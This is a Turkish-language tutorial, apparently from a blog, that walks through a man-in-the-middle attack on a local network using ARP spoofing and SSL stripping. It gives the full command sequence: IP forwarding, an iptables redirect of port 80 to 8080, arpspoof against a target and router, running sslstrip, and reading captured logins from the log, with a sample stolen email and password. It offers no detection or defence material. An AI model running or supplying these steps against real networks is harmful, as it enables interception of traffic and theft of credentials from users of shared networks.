Yerel Ağda MITM Saldırısı

Yerel Ağ saldırıları günümüzde en çok kullanılan hacking yöntemlerinden birisidir. İşyerlerinde, okullarda, kafelerde, halka açık yerlerde, kısacası internetin ağının oldugu her yerde bu tarz saldırılarla karşılaşma olasılığı maalesef çok yüksektir. Kullanıcıların ağa bağlı iken yaptıkları bütün işlemler kötü niyetli bir hacker (Blackhat) tarafından izlenilebilir ve yönetilebilir. Telefonunuz, bilgisayarınız, tabletiniz, kısacası internete  bağlantısı olan bütün cihazlar bu tarz saldırılara maruz kalabilir.

Arpspoofing saldırısı yerel ağlarda en çok kullanılan yöntemlerden biridir. Saldırganın yapmış oldugu yöntem, hedefin Arp tablosunu üzerine alarak bütün trafiğini dinlemesidir. Peki sslstrip nedir?  Saldırgan hedefin IP'nin trafiğini dinlemeye başlaması ile birlikte SSL sertifikası kullan sitelerde girilen, kullanıcı adı, parolalara, vb bilgileri göremez, nedeni ise paketlerin şifrelenerek gönderilmesidir. Sslstrip’in amacı ise ssl sertifikası kullanan kullanan siteleri normal http protokolüne çevirmesidir ve paketlerin içeriğini okumasına yardımcı olmaktır. 

Terminal satır açılır ve " echo “1” > /proc/sys/net/ipv4/ip_forward " yazılarak IP yönlendirmesi yapılır.

“1” Değeri yönlendirmenin açık olacagı anlamına gelir.

“0” İse kapalı oldugu anlamına gelir.

iptables -t nat -A PREROUTING –i eth0 -p tcp --destination-port 80 -j REDIRECT --to-port <8080>  Http trafiğini sslstriptin dinleme yapmış olduğu porta yönlendirilmesi gerekir.

Parametre	Açıklama
Iptables	Linux üzerinde gelen firewall
-t nat	Nat olarak belirliyoruz.
-A PREROUTING	Yönlendirme oldugunu belirliyoruz.
-i eth0	Ağ kartımızı seçiyoruz.
-p tcp	Protokolü belirliyoruz
--destination-port 80	Yönlendirelecek (hedef) portu belirtiyoruz.
-j REDIRECT --to-port	Yönlenecek portu belirliyoruz. Artık 80 portundan gelen bütün paketeler 8080 portundan geçecek.

arpspoof -i eth0 -t <Hedef ip> <Router ip> Hedef  IP üzerinden Router'a arp isteği yapılır. 

Son olarak " sslstrip -l 8080 " yazılarak SSLSTRIP  çalıştırılır. 

Komut	Açıklama
Sslstrip	Araç belirlenir.
-l 8080	8080 portunu dinlemeye alması gerektiği belirtildi.

Hedef sistem SSL bağlantıyla gitmesi gerektiği sayfaya http protokolü ile gittiği görülüyor.

Son olarak log dosyasından bilgiler elde edilir " cat isim.log". Log kayıtlarının incelenmesi sonucunda, email=deneme@gmail.com hedefin girmiş olduğu email adresi, hemen yanında bulunan pass=hack123456 ise hedefin girmiş oldugu şifredir.